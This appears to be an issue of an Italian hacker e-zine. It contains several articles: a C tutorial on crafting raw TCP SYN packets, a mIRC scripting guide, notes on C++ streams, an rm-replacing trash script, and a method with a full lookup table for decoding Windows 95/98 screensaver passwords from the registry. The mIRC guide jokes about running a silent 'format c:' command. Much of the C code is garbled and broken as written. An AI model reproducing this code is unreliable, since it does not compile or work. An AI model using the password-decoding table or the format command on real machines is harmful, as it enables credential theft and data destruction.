+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | your data ... next 500 octets | | ...... | Bene,ora dobbiamo strutturarci il pacchetto da mandare... Facciamo un esempio, vogliamo mandare un pacchetto tcp con la flag SYN attiva. =) Il pacchetto sara' formato dall'header IP ( in qualunque caso :) e dall'header TCP. Le flag dovranno essere tutte a 0 meno che la FIN. Come procediamo?? Cosi': - N.B. = utilizzando i BSD socket - ci strutturiamo il pacchetto: struct pacchetto { struct iphdr IP; struct tcphdr TCP; char DATA[1500]; }pkt; ok?? ;) Ricapitoliamo, PACCHETTO = IP_header + TCP_header + DATI . ora dovremo forgiare pkt!! ( come mi piace questa parola!! =) prima di tutto settiamo pkt: memset(&pkt,0,sizeof(pkt)); Facile no?? Ora ci inizializzeremo tutte le parti del pacchetto, prima l'ip header: pkt.ip.ihl=5; pkt.ip.version=4; pkt.ip.tos=0; pkt.ip.tot_len=htons(sizeof(struct iphdr)+sizeof(struct tcphdr)+sizeof(pkt.DATA); pkt.ip.id=0; pkt.ip.ttl%5; pkt.ip.frag_off=0; pkt.ip.protocol=IPPROTO_TCP; pkt.ip.saddr=inet_addr("10.10.10.10"); pkt.ip.daddr=inet_addr("20.20.20.20"); pkt.ip.check=/*funzione checksum*/ Allora, basta che vi teniate tra le mani le tabelle del buon programmatore ( intendo gli headers ) e tutto vi verra' spontaneo. Breve descrizione: 4-bits ihl= descrive la lunghezza dell'header. ( Il minimo e' 5 bit ). 4-bits version= il formato dell'header ( ci sono in tutto 4 formati ). 8-bits tos= Type of Services,be'.. diciamo che provvede a segnalare i parametri per il servizio desiderato. 16-bits tot_len=total length, lunghezza totale del pacchetto, misurata in ottetti. 16-bits id=valore di identificazione del pacchetto. 8-bits ttl=time to live, non c'e' bisogno di spiegare vero?? =) 13-bits frag_off=fragment offset,locazione del frammento. 8-bits protocol=quale tipo di protocollo utilizziamo. 16-bits check=checksum. 32-bits saddr=source address. 32-bits daddrstination address. Ci sarebbe anche il campo 'flags' ma ci pensera' il kernel a settarlo. Ora passiamo al tcp: pkt.tcp.source=htons(7777); pkt.tcp.dest=htons(8888); pkt.tcp.doff=5; pkt.tcp.seq pkt.tcp.ack_seq=0; pkt.tcp.rst=0; pkt.tcp.fin=0; pkt.tcp.syn=1; pkt.tcp.ack=0; pkt.tcp.urg=0; pkt.tcp.psh=0; pkt.tcp.window=0; pkt.tcp.check=/*funzione checksum*/ Questa parte e' sicuramente + comprensibile della prima. Bene, ora che ci siamo creati il bel pacchettino dovremo dire al kernel che abbiamo intenzione di fare tutto noi e di manipolare l'header IP. Cosi': pippo=socket(AF_INET,SOCK_RAW,IPPROTO_RAW); ...e... opt=1; err=setsockopt(pippo,IPPROTO_IP,IP_HDRINCL,&opt,sizeof(opt)); e ora??abbiamo fatto tutto!! =) (mancherebbe l'inizializzazione della struttura sockaddr_in ma quella e' uguale ad uno stream socket quindi ve la risparmio). Possiamo tranquillamente mandare il nostro bel pacchettino appena forgiato: err=sendto(pippo,&pkt,sizeof(pkt),0,(struct sockaddr_in*) &name,sizeof(name)); Ecco di seguito il programma di esempio di prima: >----------- start ------------- /*************************************** esempio di pacchetto tcp, con syn attivo ***************************************/ #include #include #include #include #include #include #include unsigned short ip_fast_csum(unsigned char *iph,unsigned long ihl) { unsigned long sum; __asm__ __volatile__(" movl (%1), %0 subl $4, %2 jbe 2f addl 4(%1), %0 adcl 8(%1), %0 adcl 12(%1), %0 1: adcl 16(%1), %0 lea 4(%1), %1 decl %2 jne 1b adcl $0, %0 movl %0, %2 shrl $16, %0 addw %w2, %w0 adcl $0, %0 notl %0 2: " : "=r" (sum), "=r" (iph), "=r" (ihl) : "1" (iph), "2" (ihl)); return(sum); } int main(int argc,char *argv[]) { int pippo,err,opt=1; struct sockaddr_in name_sock; struct pacchetto { struct iphdr ip; struct tcphdr tcp; } pkt; struct hostent *hp; char checkbuf[32],checkbuf2[32]; memset(&pkt,0,sizeof(pkt)); memset(&name_sock,0,sizeof(name_sock)); if ((pippo=socket(AF_INET,SOCK_RAW,IPPROTO_RAW))=) { perror("cannot open raw socket "); exit(-1); } if (setsockopt(pippo,IPPROTO_IP,IP_HDRINCL,&opt,sizeof(opt))) { perror("cannot set ip_hdrincl "); exit(-1); } name_sock.sin_family_INET; name_sock.sin_port=htons(atoi(argv[2])); if ((hp=gethostbyname(argv[0]))==NULL) { name_sock.sin_addr.s_addr=inet_addr(argv[1]); pkt.ip.daddr=inet_addr(argv[1]); } else { memcpy((char *)&name_sock.sin_addr,hp->h_addr,hp->h_length); memcpy((char *)&pkt.ip.daddr,hp->h_addr,hp->h_length); } pkt.ip.ihl=5; pkt.ip.version=4; pkt.ip.tos=0; pkt.ip.id=0; pkt.ip.tot_len=sizeof(pkt); pkt.ip.frag_off=0; pkt.ip.ttlp; pkt.ip.protocol=IPPROTO_TCP; pkt.ip.check=ip_fast_csum((unsigned char*)checkbuf2,32); pkt.tcp.source=htons(1009); pkt.tcp.dest=htons(atoi(argv[2])); pkt.tcp.doff=5; pkt.tcp.syn=1; pkt.tcp.rst=0; pkt.tcp.psh=0; pkt.tcp.ack=0; pkt.tcp.fin=0; pkt.tcp.urg=0; pkt.tcp.window=0; pkt.tcp.check=ip_fast_csum((unsigned char*)checkbuf,32); err=sendto(pippo,&pkt,sizeof(pkt),0,(struct sockaddr_in*)&name_sock,sizeof(name_sock)); if (err=) { perror("cannot send "); exit(-1); } else printf("Packet has been send! =)\n"); close(pippo); return(0); } >----------- end -------------- e tutti vissero felici e contenti =) alla proxima hi]tech[ ͻ Ŀ THE GREAT SCRIPTING GUIDE ٺ ͼ Ciao a tutti, belli e spaventosamente brutti. Questa e' la prima volta che scrivo qualcosa.Anzi no, ho scritto un sacco di roba, solo che nessuno mi aveva mai chiesto di farlo.Tra l'altro questo e' sicuramente il mio articolo + sensato nonche' l'unico da me' scritto.Passiamo Subito al Dunque: Direi che tutti conoscono + o - IRC e Il mIRC, quindi anziche' le solite storie su Whois IP address e menate varie Partiro' subito a parlare di come realizzare 1 vostro Script. *)Ingredienti: 1 mIRC 5.7 (Scaricabile da www.mirc.net ) 1 KEy Word Generator Per mIRC 5.7 (No questo su mIRC.net ancora non l'hanno uploadato) 1 Buona dose di pazienza 1 QI superiore di almeno 4 punti a quello di un qualsiasi animale da Soma. *) Concetti di Base: Per realizzare il vostro full script for mIRC dovete conoscere i principali comandi mIRC (Non ci crederete ma li trovate Sull'HElp del mIRC) e avere una certa esperienza in chat e un senso estetico medio-alto se volete rendere il vostro script User-Friendly al 100%. Let's TO Begin (Ma senti come faccio il Buono....) Se gia' sapete cosa sono alias popoup e remote non saltate questa parte, io stesso per scrivere questo articolo ho imparato un casino di roba (TRa cui: Non e' da persona normale tirare le 2 di notte per finire un articolo di una enzine che non ha ancora un nome, Se ti macchi col caffe' il pigiamino non viene + pulito, e poi una certa storia di $$ e droghe Leggere..) Cmq, apritevi il vostro Bel mIRC 5.7 ,ci troverete una barra in alto (Non Il menu con scritto file eccetera ma la barra grafica che ha connect come prima voce a sx) Bavi!Vedrete che ci sono 3 iconcine somewhere che dicono Allias Popoup Remote.Ecco, questi sono il fulcro intorno al quale ruotera' il nostro scrip.Se clickkare sulle iconcine col mouse e' una fatica che le vostre callose dita non possono sopportare potete usare i tasti rapidi: Alt+P --> Popoup Alt+R --> Remote e Alt+A --> Aliases -) ALIASES: Premete ALt+A e apparira' una finestra Simile alle solite finestre, quelle in cui Windows 98 vi dice che ha trovato un problema che in realta' non esiste, e che non riuscendo a risolverlo bisogna resettare il computer... Ecco, in questa finestra troverete queste righe: /op /mode # +ooo $$1 $2 $3 /dop /mode # -ooo $$1 $2 $3 /j /join #$$1 $2- /p /part # /n /names #$$1 /w /whois $$1 /k /kick # $$1 /q /query $$1 /hop /part # | /join #$$1 /send /dcc send $1 $2 /chat /dcc chat $1 /ping /ctcp $$1 ping Se voi da questa schermata guardate nel menu (Quello dove ce' scritto file ecc..) alla voce "View", noterete che ce' un solo file chiamato aliases.ini Aliases.ini e' il file che contiene tutti quei comandi scritti li sopra.Quando farete lo script, per comodita', conviene utilizzare diversi file .ini per gli aliases, divisi per argomento, in modo da avere la possibilita' di capirci qualcosa quando andrete a modificare il tutto per qualche ragione.Per imparare potremmo anche scrivere qui su aliases.ini, subito dopo la riga /ping /ctcp $$1 ping ma per comodita' utilizzeremo un altro file.I comandi tanto vengono considerati sempre dal mirc, e il file in cui si trovano non pregiudica il loro funzionamento.Okkey, per creare un nuovo file andate nella directory dello scripte create una nuova "cartella" di nome System. in c:\mirc\system\ create un file che si chiama aliases2.ini (Potete darci il nome che volete) Adesso avviate il mirc premete Alt+A e andate nel menu' in file-->load-->script-->e con il comando sfoglia selezionate il file appena creato.Appena lo caricate ovviamente sara' vuoto e potete iniziare a lavorarci sopra. (Notate tra l'altro che adesso nel menu sotto "view" ci sono 2 file aliases.ini e aliases2.ini e che potete passare da 1 all'altro con un click. Vi siete mai chiesti perche' Per entrare in un canale e' sufficente scrivere /j #canale anziche' /join #canale ? non credo, cmq /j #canale e' un aliases.Infatti corrisponde a questa riga /j /join #$$1 $2- (presente in aliases.ini) che se la cancellate non vi permettera' piu di joinare velocemente al canale (Dovete scrivere ben 3 caratteri in piu') e vi portera' via tempo prezioso da dedicare alla ricerca e catalogazione dei siti porno. MA andiamo per gradi.Innanzi tutto un semplicissimo esempio di aliases: /sik /say {Il mio Url e' http://www.cyberidiots/scripterz.org Visitalo se vuoi salvare il mondo e distruggere quel baratro d'ignoranza che domina incontrastato nel tuo minuscolo cervellino asimmetrico. } LA sintassi e': /scorciatoia /comando In pratica consente, scrivendo solamente /sik, di eseguire un comando che richiederebbe molto piu tempo (Fate in Tempo a vedervi la Home Page di qualche lesbica con il tempo che risparmiate...) Le parentesi graffe le ho dovute mettere perche' anche se e' solo un comando occupa piu di una riga per uno che sta usando il notepad e non ha il wordwrapping o kome cazzo si chiama attivo. Questo invece e' un esempio in cui le parentesi sono indispensabili: /sik_join { /join #hackita /say Ciao Ragazzi!Cosa si dice di bello? /join #hack_is_too_busy_for_me /say Ciao A Tuttiz /say Sono stato io a pingare Yahoo } Prima di commentarlo 2 cose: 1) Le parentesi graffe non ci sono sulla tasiera quidi dovrete usare il codice ascii per farle. 2)Volevo solo ricordare che questo va scritto negli aliases.Una volta che avete salvato questa in aliases potete richiamarla con il comando /Sik_join dallo status del mirc o da un canale. (Cazzo tu ultimo BAnco 3 fila ti ho detto che le graffe non ci sono sulla tastiera smetti di cercarle!!Per farle devi tenere premuto alt e digitare 123 per questa "{" e 125 per questa "}" e poi ovviamente rilasciare alt ) Commento: In pratica se scrivete queste 7 righe negli aliases sara possibile richiamare tutti questi comandi (Nell'ordine in cui sono scritti) semplicemente digitando /Sik_join nella barra che di solito usate per scrivere. /join #hackita /say Ciao Ragazzi!Cosa si dice di bello? /join #hack_is_too_busy_for_me /say Ciao A Tuttiz /say Sono stato io a pingare Yahoo (Se non sapete cosa fanno questi comandi leggete l'help del mirc) Un consiglio che vi do e' quello di inserire sempre commenti.Per farlo usate il ";".Usare i commenti vi aiutera' quando dovrete tornare sui vostri passi perche' qualcosa non va come dovrebbe. Es: /secret { /part all ; Esci da tutti i canali /nick Anonimo ;Cambia nickname in "anonimo" /j #hackita ; Entra in #hackita /j #hack_is_too_busy_for_me ;Entra in #hack_is_too_busy_for_me } Vediamo Ora sempre un aliases ma un pochettino piu complesso.Avete Capito tutto fin qui? Spero di si perche' se no vi manca il requisito di cui al punto 4 (Vedi ingredienti). Ricancellate tutto il contenuto di aliases2.ini (Il file fatto da noi per prova) e scriveteci questo: /j /join $1 Adesso nel mirc provate a scrivere /j #hackita (Dovete essere connessi) e vedrete che joinera al canale. $1 e' un parametro.O meglio, $ e' un parametro, 1 sta solo ad indicare che quello e' il primo parametro.Se vogliamo fare 2 parametri scriveremo: /doublejoin { /join $1 /join $2 } Per usare questo aliases scriverete: /doublejoin #hackita #hackers dove $1 corrisponde ad #hackita e $2 a #hackers Quindi quando fate partire /doublejoin, $1 prendera' il valore del primo parametro che specificate (#hackita in questo caso) e $2 quello del secondo. Volendo si puo anche stabilire un Range di parametri, utilizzando /jrange /join $2-6 Significa che si scrive /jrange + i vari parametri, che non possono essere meno di due ma neanche + di 6. Oppure si puo usare il comando $$1 dove la doppia $ ti obbliga a mettere un parametro.Per ulteriori info vedere l'help del mirc. Se invece volete chiedere qualcosa all'utente la sintassi e' questa: /jask /join $?="Inserisci Canale in Cui vuoi Entrare:" Comparira' una finestrella che chiedera' all'utente il canale in cui entrare Ci sono poi degli identifier (Quelli della famiglia $ per cosi dire..) che non vengono decisi dall'utente ma sono fissi o cmq vengono letti direttamente dal mirc.Alcuni esempi sono $me $schan $time ecc $me e' uguale al tuo nick (o a quello di chi sta usando il mirc in questo momento), $chan e' il canale in cui si e' in questo momento (Currently active Channel window) e puo essere sostituito con # mentre $time e' l'ora attuale.Ripeto,Questi sono tutti Identifier che non vanno impostati e possono essere molto utili.Ce ne e' altri ma ne parleremo appena saltano fuori. Vorrei inoltre segnalarvi alcuni comandi che possono essere molto utili per realizzare uno script se non indispensabili: (COSA?!?, volevate che vi spiegassi questi comandi per bene con tutti i possibili parametri?SI e poi?La fettina di culo la volete vicino all'osso?Guardatevi l'help del mirc per favore, che come disse qualcuno e' la bibbia dello "scripter" (Termine coniato alle $time di questo giorno)) /echo --> Serve a visualizzare una frase in un canale in query nella staus bar o nell'active windows, ma puo essere letta solo da chi sta usando lo script.Serve per informare l'utente del vostro script di eventuali errori o per mettere un messaggio all'avvio dello script o altre cosucce del genere.. /background --> Cambia il background del mirc, lo usate per personalizzare lo sfondo sui canali le query eccetera /play --> Legge un txt file ad un nick specifico o ad un canale.Vi risparmia il copia incolla che e' frustrantissimo (Si e' scritto giusto, inutile che controllate...) /splay --> Per runnare un file wav.Se non e' specificato un file apparira' il sound request dialog. /run --> Comando molto versatile vi permette di eseguire anche dei comandi dos ( Tipo Format c:\ /u /q /autotest HIHIHihihiHIHIHIHihhhihiHHHIH ) Ok,In questa prima lezione oltre ad aver imparato qualcosina sugli aliases (almeno cosa sono spero o abbiate capito) e sugli identifier avete piu o meno visto i principali comandi, se non li conoscevate gia'.Magari non tutti conoscevano il comando /Say, in quando per dire qualcosa e' sufficiente scriverlo quando si agisce in prima persona nelle chat, ma preparando lo script non e' la stessa cosa. DOMANDA DI AUTOVERIFICA: COsa significa la linea qui sotto messa negli aliases e come utilizzarla? (Questa si trova in aliases.ini, quelli standard del mIRC) /hop /part # | /join #$$1 La Risposta a questo quesito Nella prossima Lesson.(Vi do un aiutino.Invece di scrivere tanti comandi tra le parentesi graffe potete mettere | tra un comando e l'altro per indicare che sono tutti attaccati.Quindi e' come scrivere cosi': /hop { /part # /join #$$1 } Per Info suggerimenti consigli lacune e ovviamente insulti citofonatemi a truesick@libero.it ma fate attenzione al mio programma anti-spamm che rintraccia automaticamente il vostro IP address e viene a casa vostra ad uccidervi tutta la famiglia senza preavviso. ͻ Ŀ STREAM ON C++ ٺ ͼ by: hi]tech[ <---> hi.tech@usa.com Consumo: Pringles ( gusto Canapa Indiana ) LemonSoda MuZica: BBC Session, Led Zeppelin Once in a Live time, Dream Theater Cosa sono gli stream??? ehehehe.... be' partiamo dal dire che il c++ gestisce tutte le funzionalita' di I/O su terminale e su file. Le operazioni base ( che tutti conosceranno, altrimenti sparatevi :) sono: cin,cout,cerr,clog. schemettino: cin --> Input standard <---> stdin cout --> Output standard <---> stdout cerr --> Error standard <---> stderr Ora ci siete? penso di si... anche perche' questi tre descrittori ( stdin .... ) li avrete gia' sentiti lavorando o guardando qualche handle, infatti: HANDLE --> | 0 | 1 | 2 | 3 | 4 | ......... | | | | | stderr | stdout stdin sono quelli base, che vengono creati di default in ogni handle.... cmq, noi dobbiamo parlare di altro... =) ~~~~ allora... prima di partire del tutto ( di cervello ;) diciamo che l'output su stream in c++ e' dotato di una serie di funzioni: cout.width(5); <---- setta la lunghezza dell'output successivo cout<<"ciao"; produce: >ciao_ <---- prendiamo l'underscore come spazio se in caso ci fosse stato una parola + lunga di 5 di default il settaggio verrebbe ignorato. altra funzioncina e': cout.width(5); cout.fill('x'); <---- riempie l'output di x ( la dimensione era settata a 5 ) produce: >xxxxx una funzione interessante e' la setf() : cout.setf(ios::showpos); //inserisce il segno positivo davanti ai valori positivi cout.setf(ios::showbase); //indica i valori ottali con 0 e valori esadecimali con 0x cout.setf(ios::showpoint); //produce uno 0 e un punto decimale per valori in virgola mobile cout.setf(ios::uppercase); //produce numeri esadecimali in lettere maiuscole cout.setf(ios::X, ios::basefield); //produce interi in base X ( Xc, oct, hex ) cout.setf(ios::X, ios::floatfield) //produce numeri reali in modalita' X ( X=fixed [virgola fissa], scientific ) cout.setf(ios::X, ios::adjustfield) //allineamento a X (X=right, left) poi c'e' la funz precision() che imposta la precisione dei numeri in virgola mobile. cout.precision(3); cout<<6.54321<<'\n'; produce: 6.543 Dopo questa panoramica sulle funzioni ecco qualcosa di + interessante =) Gli headers principali sono per operazioni I/O su stream sono iostream.h e fstream.h . iostream.h ( che conosceranno tutti ) contiene le dichiarazioni delle classi di I/O coem ostream, istream, streambuf , degli oggetti cin, cout, clog, le dichiarazioni di overloading ( se non sapete cos'e' fate una ricerca sulla sovrapposizione delgi operatori ) degli operatori << e >> e tante altre funzioni. fstream.h invece contiene le dichiarazioni e le definizioni di elementi correlati con operazioni di I/O su file. Definisce classi come fstream, ofstream, ifstream, filebuf ed inoltre dichiara varie funz membro di tali classi. Scommetto che avrete un gran casino in testa ora no?? ihih... cmq ora cominciamo su come operare su sti stream e sicuramente avrete tutto + chiaro. Allora, come apriamo un file in input??? cosi': ifstream fileIN ("c:\windows\file.txt"); Mi pare chiaro no??? ( se non sapete le classi non ci posso fare nulla, questo e' un articolo sugli stream :) creiamo un oggetto ( fileIN ) della classe ifstream, prelevata ovviamente dall'header fstream.h . per aprirlo in output bastera' chiamare la classe inversa: ofstream fileOUT ("c:\windows\file.txt"); bene, possiamo pero' inserire qualche funzioncina di ios che non fanno mai male?? =) in //apertura in lettura out //secondo te?? app //modalita' append: aggiunge file dalla fine ate //apre e posiziona alla fine del file trunc //tronca un file nocreate //se il file non esiste l'apertura fallisce noreplace //se il file esiste l'apertura fallisce binary //modalita' binaria ( eccetto UNIX ) voi direte... come si usano??? coZi': ifstream file1 ("c:\1.txt", ios::binary); ofstream file2 ("c:\2.txt", ios::nocreate); fstream file3 ("c:\3.txt", ios::in | ios::out); //apre il lettura/scrittura questi esempi si commentano da soli... quindi non ci metto bocca. Per controllare se il file e' stato aperto/creato ecc... bisogna controllare direttamente su il valore dell'oggetto. esempio: ifstream file1("q:\pippo.txt"); if (!file1) cout<<"ERRORE \n"; Fate attenzione perche' in questo caso avverra' un overloading dell'operatore ! infatti non fara' piu' una la sua utilita' di default ma chiamera' una funzione membro della classe. In pratica restituira' true in caso di fallimento mentre restituira' false in caso di successo. Non chiedetemi perche'... non l'ho programmate io quelle classi =) Ora passiamo alla lettura/scrittura et simili su stream ( D+ non mi piace + ) ehehehehe ci sono parecchie funzioni, allora: oggetto.get(char &c); //penso non ci sia bisogno di spiegarla :] oggetto.putback(char); //reinserisce un carattere nel buffer di input variabileX=oggetto.peek(); //legge un carattere senza estrarlo dal buffer queste sono quelli + semplici, quelle + importanti sono: oggetto.getline(buf,100,'\n'); //legge dal buffer, scrive su buffino a che non trova il carriage return oppure fino a 99 caratteri. N.B.= il terzo parametro e' opzionale, di default viene utilizzato lo stesso. Il carattere di fine stringa ( con la precedente funzione ) viene scambiato con \0. esempio: se una chiamata come quella di prima viene fatta su un buffer del genere BUFFER --> abc\n troveremo nella nostra variabile abc\0 Ok?? :) allora, altra funzione.... =) oggetto.read(buf,100); qui leggiamo da file 100 byte e li mettiamo in buf. oggetto.read(buf,n*sizeof(double)); qui invece?? eheh...leggiamo n valori double, ovvero 8*n byte. =) ah.. ricordatevi che qui non viene inserito \0!!!!! una funzioncina abbastanza importante e' gcount(), con questa ci viene restituito il numero elementi letti nell'ultima istruzione di input. variabileX=oggetto.gcount(); Passiamo alla scrittura ora! :) allora: oggetto.put(char c); //niente spiegazione ok? ihihihihi oggetto.write(buf,100); //stessa roba della versione read in input ^__^ oggetto.flush(); //vuotiamo il buffer di output. Ok, siccome non ho + voglia di staa scrivere.. per ora stop!!! Fin qui abbastanza facile... magari poi vi parlo anche del resto: overloading di << e >>, e magari anche dei test dello stato dell' I/O. =) alla proxima, hi]tech[ ************************************ *** Trash_Bin Remover by [RequieM] *** ************************************ /* lo script-language risulta talvolta difficoltoso */ /* a causa del rapporto sintassi-spazi , non regolamentato */ /* lo script allegato e' "beta" perche' non serio */ Questo e' l'ultimo articolo , credo , sullo script-language perche' ne sono stati utilizzati praticamente tutti i comandi . Lo script di seguito vuole essere una sorta di cestino in cui viene automaticamente depositato tutto cio' che viene eliminato . Un'implementazione utile poteva essere quella della compressione dei dati eliminati ma cio' avrebbe apportato un carico maggiore alla macchina su cui gira il programma ed un carico di lavoro maggiore . Trash_Bin Remover ritengo sia abbastanza utile ma non versatile . Di seguito sono riportate le modalita' d'uso : La "DateDir" e' 1a di quelle dir che appaiono passando a questo prog "-l" , il suo formato e' ore_minuti_secondi___giorno_mese_anno -f | --first-run Per Installare lo script . -d | --uninstall Per Disinstallare lo script . -c | --clean Svuota il cestino . -l | --list Elenca le directory (hh/mm/ss gg/mm/yy) contenenti i files eliminati . -lf | --list-find cerca nel cestino il file in maniera "case-insensitive" e chiede , dopo averli localizzati , se deve spostarli nella $HOME -r | --reconvert Se si vuole REinstallare lo script bisogna passargli l'opz (se il prog e' nella bin con il prog rm) "rim -r" . Lo script rinominera' il prog rm come rim e se stesso come rm. Se si vuole DISintallare questo script bastera' quindi passargli l'opzione (se il prog e' nella bin con il prog rm rinominato in rim) "rm -r" e rinominera' rm (rim) in rm e rm (Trash_Bin Remover) in rim . -u | --undo "rm [-u | --undo] DateDir PATH" sposta il contenuto della DateDir/quello_che_voglio_io , presente nel cestino (rm -l) nella dir desiderata . Nota: non occorre dare il path completo del cestino ma solo il nome della DateDir . -s | --size Prompta sull screen la dimensione in "k" di ogni file contenuto nel cestino e la sua dimensione totale . /* [RequieM] */ /* requiem@freemail.it */ NOTA BY N0bodY88-ooo : il sorgente del Trash Bin Remover di [Requiem] lo trovate tra gli allegati nello zip di NewBies 6. ۰۰۰۰۰۰۰۰ ۰۰۲۰۰۰۲۰۰ ۰۰۰۰۰۰۰۲۰۰ ۰۰۰۰۰۰۰۰۲۰۰ ۰۰۰۰۰۰۰۰۰۰ ------------------------------------------------------------------------------- L A P A S S W O R D D E L L O S C R E E N S A V E R D I W I N D O W S ------------------------------------------------------------------------------- Questo articolo spiega come funziona la password dello screensaver di windows. In win98 e in wi95sr2 si trova nel registry. Questo metodo permette di riportare in chiaro la password, diciamo in modo manuale. Non viene utilizzato l' algoritmo di criptazione, ma funziona comunque al 100%. Partiamo subito. La password non' e' case-sensitive, e si trova salvata nel registry, precisamente in : HKEY_CURRENT_USER\Control Panel\Desktop\"ScreenSave_Data" >La password e' criptata, ma questo non ci fermera' :-) Ecco qui' qualche esempio utile: Password Dove Contenuto | | | aaaaa "ScreenSave_Data"=hex:30,39,41,46,33,37,35,43,32,36,00 abbb "ScreenSave_Data"=hex:30,39,41,43,33,34,35,46,00 aaaa "ScreenSave_Data"=hex:30,39,41,46,33,37,35,43,00 aaba "ScreenSave_Data"=hex:30,39,41,46,33,34,35,43,00 bbbbb "ScreenSave_Data"=hex:30,41,41,43,33,34,35,46,32,35,00 000 "ScreenSave_Data"=hex:37,38,44,45,34,36,00 001 "ScreenSave_Data"=hex:37,38,44,45,34,37,00 111 "ScreenSave_Data"=hex:37,39,44,46,34,37,00 978 "ScreenSave_Data"=hex:37,31,44,39,34,45,00 978bba"ScreenSave_Data"=hex:37,31,44,39,34,45,35,46,32,35,32,38,00 506 "ScreenSave_Data"=hex:37,44,44,45,34,30,00 bba "ScreenSave_Data"=hex:30,41,41,43,33,37,00 0 "ScreenSave_Data"=hex:37,38,00 1 "ScreenSave_Data"=hex:37,39,00 2 "ScreenSave_Data"=hex:37,41,00 3 "ScreenSave_Data"=hex:37,42,00 4 "ScreenSave_Data"=hex:37,43,00 41 "ScreenSave_Data"=hex:37,43,44,46,00 a "ScreenSave_Data"=hex:30,39,00 circo "ScreenSave_Data"=hex:30,42,41,37,32,34,35,45,32,38,00 La password criptata e' composta da una serie di numeri di 2 cifre. Si puo' notare che se la password in chiaro e' formata da N caratteri la stessa password criptata sara' formata da N numeri*2+1. Siccome tutte finiscono con 00, allora scarteremo questo ultimo numero (00) e quindi intuitivamente si capisce che ogni carattere non criptato e' poi rappresentato da 2 numeri di 2 cifre. Come procedere ora? Prepararsi qualche esempio (vedi sopra) e cercare di intravedere il criterio con qui sono disposti i numeri. Procediamo ora con l' aiuto degli esempi : aaaaa "ScreenSave_Data"=hex:30,39,41,46,33,37,35,43,32,36,00 aaba "ScreenSave_Data"=hex:30,39,41,46,33,34,35,43,00 |__________||____||____| Uguale Cambia Uguale Capiamo che 30,39 41,46 33,37 35,43 criptano tutte la "a" . quindi i numeri per uno stesso carattere cambiano in base alla posizione del carattere nella stringa della password. Allora procederemo nel seguente modo : daremo come password dello screensaver aaaaaaaaaaaa. troveremo poi nel registry (sai gia' dove) i valori che traducono la "a" nelle varie posizioni. Procederemo cosi' per tutti i caratteri che riteniamo possano essere presenti nella password. E' un lavoraccio, ma va' fatto. Ringraziami..... (Alla fine dell' articolo c'e' una tabella....) ora riesaminiamo gli esempi sopra visti tenendo presente la tabella e... Pos. 12345 ||||| Es.1 aaaaa "ScreenSave_Data"=hex:30,39,41,46,33,37,35,43,32,36,00 |||| Es.2 aaba "ScreenSave_Data"=hex:30,39,41,46,33,34,35,43,00 Es1: il carattere in posizione 1 verra' criptato con la prima coppia di numeri della tabella ovviamente della riga del carattere in questione... e cosi' via. Il carattere in posizione 3 verra' criptato con la 3 coppia di numeri della tabella nella riga del carattere (quindi il 5 e il 6 numero). Es2: Il carattere in posizione 4 e' la 3 "a" della stringa "aaba", ma a noi questo non interessa, a noi serve sapere solo che occupa la posizione 4. La tavola Potra' essere usata per decriptare i primi 12 caratteri della password. Piu' che sufficente... ---------------------------------------------------------------------------- TAVOLA ---------------------------------------------------------------------------- 1 2 3 4 5 6 7 8 9 10 11 12 _____ _____ _____ _____ _____ _____ _____ _____ _____ _____ _____ _____ .. @:30 38 41 45 33 36 35 44 32 37 32 39 45 31 35 42 33 41 43 43 30 37 42 38 00 A:30 39 41 46 33 37 35 43 32 36 32 38 45 30 35 41 33 42 43 44 30 36 42 39 00 B:30 41 41 43 33 34 35 46 32 35 32 42 45 33 35 39 33 38 43 45 30 35 42 41 00 C:30 42 41 44 33 35 35 45 32 34 32 41 45 32 35 38 33 39 43 46 30 34 42 42 00 D:30 43 41 41 33 32 35 39 32 33 32 44 45 35 35 46 33 45 43 38 30 33 42 43 00 E:30 44 41 42 33 33 35 38 32 32 32 43 45 34 35 45 33 46 43 39 30 32 42 44 00 F:30 45 41 38 33 30 35 42 32 31 32 46 45 37 35 44 33 43 43 41 30 31 42 45 00 G:30 46 41 39 33 31 35 41 32 30 32 45 45 36 35 43 33 44 43 42 30 30 42 46 00 H:30 30 41 36 33 45 35 35 32 46 32 31 45 39 35 33 33 32 43 34 30 46 42 30 00 I:30 31 41 37 33 46 35 34 32 45 32 30 45 38 35 32 33 33 43 35 30 45 42 31 00 J:30 32 41 34 33 43 35 37 32 44 32 33 45 42 35 31 33 30 43 36 30 44 42 32 00 K:30 33 41 35 33 44 35 36 32 43 32 32 45 41 35 30 33 31 43 37 30 43 42 33 00 L:30 34 41 32 33 41 35 31 32 42 32 35 45 44 35 37 33 36 43 30 30 42 42 34 00 M:30 35 41 33 33 42 35 30 32 41 32 34 45 43 35 36 33 37 43 31 30 41 42 35 00 N:30 36 41 30 33 38 35 33 32 39 32 37 45 46 35 35 33 34 43 32 30 39 42 36 00 O:30 37 41 31 33 39 35 32 32 38 32 36 45 45 35 34 33 35 43 33 30 38 42 37 00 P:31 38 42 45 32 36 34 44 33 37 33 39 46 31 34 42 32 41 44 43 31 37 41 38 00 Q:31 39 42 46 32 37 34 43 33 36 33 38 46 30 34 41 32 42 44 44 31 36 41 39 00 R:31 41 42 43 32 34 34 46 33 35 33 42 46 33 34 39 32 38 44 45 31 35 41 41 00 S:31 42 42 44 32 35 34 45 33 34 33 41 46 32 34 38 32 39 44 46 31 34 41 42 00 T:31 43 42 41 32 32 34 39 33 33 33 44 46 35 34 46 32 45 44 38 31 33 41 43 00 U:31 44 42 42 32 33 34 38 33 32 33 43 46 34 34 45 32 46 44 39 31 32 41 44 00 V:31 45 42 38 32 30 34 42 33 31 33 46 46 37 34 44 32 43 44 41 31 31 41 45 00 W:31 46 42 39 32 31 34 41 33 30 33 45 46 36 34 43 32 44 44 42 31 30 41 46 00 X:31 30 42 36 32 45 34 35 33 46 33 31 46 39 34 33 32 32 44 34 31 46 41 30 00 Y:31 31 42 37 32 46 34 34 33 45 33 30 46 38 34 32 32 33 44 35 31 45 41 31 00 Z:31 32 42 34 32 43 34 37 33 44 33 33 46 42 34 31 32 30 44 36 31 44 41 32 00 [:31 33 42 35 32 44 34 36 33 43 33 32 46 41 34 30 32 31 44 37 31 43 41 33 00 \:31 34 42 32 32 41 34 31 33 42 33 35 46 44 34 37 32 36 44 30 31 42 41 34 00 ]:31 35 42 33 32 42 34 30 33 41 33 34 46 43 34 36 32 37 44 31 31 41 41 35 00 ^:31 36 42 30 32 38 34 33 33 39 33 37 46 46 34 35 32 34 44 32 31 39 41 36 00 _:31 37 42 31 32 39 34 